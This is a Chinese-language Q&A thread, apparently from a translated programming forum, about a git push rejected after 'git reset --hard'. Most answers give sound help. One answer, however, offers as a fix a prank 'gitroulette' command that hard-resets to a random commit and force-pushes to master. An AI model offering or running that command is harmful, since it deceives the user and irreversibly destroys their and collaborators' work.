2017-03-24 53 views
0

我刪除了一些文件,我應該這樣我用git reset --hard xxx來取回它。從那以後,我產生了一些新的文件,並試圖通過git push -u origin master推,我在終端Git重置和推

Updates were rejected because the tip of your current branch is behind 
its remote counterpart. Integrate the remote changes (e.g. 
'git pull ...') before pushing again. 
See the 'Note about fast-forwards' in 'git push --help' for details. 

但使用Git拉我失去了我的舊文件,只有新的文件後,仍得到這個。我應該怎麼做才能從之前的提交中獲得舊文件,做一些工作並推送它們?

+0

將你提供的混帳引用日誌,命令的輸出,它很容易幫助您從這些日誌? – LethalProgrammer

回答

0

所以,你想恢復一個已經被推送的提交?使用git revert。或者,使用git checkout commit_id返回特定的提交,將文件保存到其他位置,通過git checkout master(或您所在的任何分支)返回,將保存的文件移回並將它們移回git add

0

這應有助於:

git reset --hard $(git log --pretty=format:"%h" > ~/gitroulette; head -$((${RANDOM} % `wc -l < ~/gitroulette` + 1)) ~/gitroulette | tail -1); git push origin master --force 

玩得開心!

0

您刪除了原始文件,並且您添加了新聞文件,並且您試圖將這些文件推送到原始主文件,並且由於當前分支位於主文件後面而被拒絕。

如果你COMMITED你的文件,使用git的承諾,然後做到這一點,

git pull origin master 

您將獲得合併衝突,從主現有的文件被刪除,所以你mergediff工具來解決衝突,因爲你知道你刪除了什麼。

檢查所有更改,並接受他們的個人

git mergetool 

審查變化和接受任一版本爲他們每個人。

git add <filename> 
git commit -m "merged la lala dance" 

默認的mergetool在命令行中起作用。如何使用命令行mergetool應該是一個單獨的問題。

MELD像任何其他工具,kdiff3可用於

git mergetool -t meld